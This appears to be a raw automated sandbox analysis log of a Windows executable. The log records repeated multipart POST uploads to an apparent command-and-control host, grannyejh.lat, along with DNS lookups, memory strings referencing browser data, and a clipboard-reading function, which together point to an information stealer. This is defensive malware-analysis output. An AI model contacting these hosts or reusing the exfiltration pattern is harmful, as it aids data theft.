Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3BT56OA3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19908Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MIQJLMFUP3TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1187Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PZV8R242U8OZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 548547Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: grannyejh.lat

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: NHEXQatKdE.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: NHEXQatKdE.exe, 00000004.00000003.2718810987.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro(
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: NHEXQatKdE.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: NHEXQatKdE.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: NHEXQatKdE.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: NHEXQatKdE.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: NHEXQatKdE.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: NHEXQatKdE.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: NHEXQatKdE.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: NHEXQatKdE.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: NHEXQatKdE.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: NHEXQatKdE.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: NHEXQatKdE.exe, 00000004.00000003.2492453188.00000000034AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: NHEXQatKdE.exe, 00000004.00000003.2494211477.0000000003499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: NHEXQatKdE.exe, 00000004.00000003.2555793950.0000000003492000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2551489423.0000000003491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: NHEXQatKdE.exe, 00000004.00000003.2555793950.0000000003492000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2551489423.0000000003491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.serv
Source: NHEXQatKdE.exe, 00000004.00000003.2494211477.0000000003499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: NHEXQatKdE.exe, 00000004.00000003.2718890653.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640272191.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000ED0000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923799804.0000000000F62000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2718255542.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2924163388.0000000003526000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000ED0000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2560537533.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2560924415.0000000000F62000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2560508442.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640792581.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: NHEXQatKdE.exe, 00000004.00000002.2924163388.0000000003526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/4
Source: NHEXQatKdE.exe, 00000004.00000003.2560537533.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2560508442.0000000000F54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/7
Source: NHEXQatKdE.exe, 00000004.00000003.2718890653.0000000000F5F000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640272191.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923799804.0000000000F62000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2718255542.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640792581.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/E
Source: NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923799804.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/N
Source: NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640272191.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2718255542.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2924163388.0000000003526000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2640792581.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/c
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/d
Source: NHEXQatKdE.exe, 00000004.00000002.2924163388.0000000003526000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/piN
Source: NHEXQatKdE.exe, 00000004.00000003.2922757214.0000000000F60000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923799804.0000000000F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/v
Source: NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/z
Source: NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api/
Source: NHEXQatKdE.exe, 00000004.00000002.2923597402.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2922841372.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/apiw
Source: NHEXQatKdE.exe, 00000004.00000003.2494211477.0000000003499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: NHEXQatKdE.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: NHEXQatKdE.exe, 00000004.00000003.2493814960.00000000037BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: NHEXQatKdE.exe, 00000004.00000003.2493814960.00000000037BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: NHEXQatKdE.exe, 00000004.00000003.2555793950.0000000003492000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2551489423.0000000003491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: NHEXQatKdE.exe, 00000004.00000003.2288139175.00000000034D9000.00000004.00000800.00020000.00000000.sdmp, NHEXQatKdE.exe, 00000004.00000003.2288234358.00000000034D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: NHEXQatKdE.exe, 00000004.00000003.2493650462.00000000034AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: NHEXQatKdE.exe, 00000004.00000003.2493650462.00000000034AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: NHEXQatKdE.exe, 00000004.00000003.2493814960.00000000037BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: NHEXQatKdE.exe, 00000004.00000003.2493814960.00000000037BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: NHEXQatKdE.exe, 00000004.00000003.2493814960.00000000037BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: NHEXQatKdE.exe, 00000004.00000003.2494211477.0000000003499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49836 version: TLS 1.2

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Code function: 4_2_00431020 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

4_2_00431020

Source: C:\Users\user\Desktop\NHEXQatKdE.exe

Code function: 4_2_00431020 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

4_2_00431020

Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E123B	0_2_006E123B
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E2445	0_2_006E2445
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E1000	0_2_006E1000
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006E40E2	0_2_006E40E2
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006EF0A0	0_2_006EF0A0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006F3D1E	0_2_006F3D1E
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 0_2_006EDAB2	0_2_006EDAB2
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E2445	3_2_006E2445
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E1000	3_2_006E1000
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E40E2	3_2_006E40E2
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006EF0A0	3_2_006EF0A0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006F3D1E	3_2_006F3D1E
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006E123B	3_2_006E123B
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 3_2_006EDAB2	3_2_006EDAB2
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00420940	4_2_00420940
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004259F0	4_2_004259F0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00436980	4_2_00436980
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00415211	4_2_00415211
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042BA22	4_2_0042BA22
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043E280	4_2_0043E280
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004104BE	4_2_004104BE
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00439660	4_2_00439660
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0040CE98	4_2_0040CE98
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004366B0	4_2_004366B0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0040D76F	4_2_0040D76F
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042900A	4_2_0042900A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00408810	4_2_00408810
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00411028	4_2_00411028
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043A030	4_2_0043A030
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043C8DB	4_2_0043C8DB
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00409080	4_2_00409080
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0040A930	4_2_0040A930
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00436130	4_2_00436130
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0040C93E	4_2_0040C93E
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042D1C4	4_2_0042D1C4
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004059D0	4_2_004059D0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043C9F0	4_2_0043C9F0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00437180	4_2_00437180
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00403990	4_2_00403990
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042324C	4_2_0042324C
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00426A52	4_2_00426A52
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00415A0E	4_2_00415A0E
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041721A	4_2_0041721A
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004062E0	4_2_004062E0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004192F0	4_2_004192F0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00425287	4_2_00425287
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00428A95	4_2_00428A95
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041CAB0	4_2_0041CAB0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00404340	4_2_00404340
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041BB40	4_2_0041BB40
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00435358	4_2_00435358
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042AB00	4_2_0042AB00
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043CB20	4_2_0043CB20
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042BA1D	4_2_0042BA1D
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00411B30	4_2_00411B30
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004233CA	4_2_004233CA
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042CBE3	4_2_0042CBE3
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00439BF0	4_2_00439BF0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00417BFA	4_2_00417BFA
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00437BA9	4_2_00437BA9
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00402BB0	4_2_00402BB0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043CBB0	4_2_0043CBB0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041FC50	4_2_0041FC50
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00404C70	4_2_00404C70
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041D400	4_2_0041D400
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00437420	4_2_00437420
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00430C20	4_2_00430C20
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041A430	4_2_0041A430
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004214C0	4_2_004214C0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_004094D0	4_2_004094D0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00414CF0	4_2_00414CF0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00421CAB	4_2_00421CAB
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00407550	4_2_00407550
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042F550	4_2_0042F550
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041655D	4_2_0041655D
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041E520	4_2_0041E520
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0043DD20	4_2_0043DD20
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0041CD90	4_2_0041CD90
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00426D93	4_2_00426D93
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00416DA5	4_2_00416DA5
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00425E40	4_2_00425E40
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00424E40	4_2_00424E40
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0040AE20	4_2_0040AE20
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00423620	4_2_00423620
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00435ED0	4_2_00435ED0
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042AE96	4_2_0042AE96
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00417758	4_2_00417758
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00402F60	4_2_00402F60
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_00406770	4_2_00406770
Source: C:\Users\user\Desktop\NHEXQatKdE.exe	Code function: 4_2_0042577B	4_2_0042577B
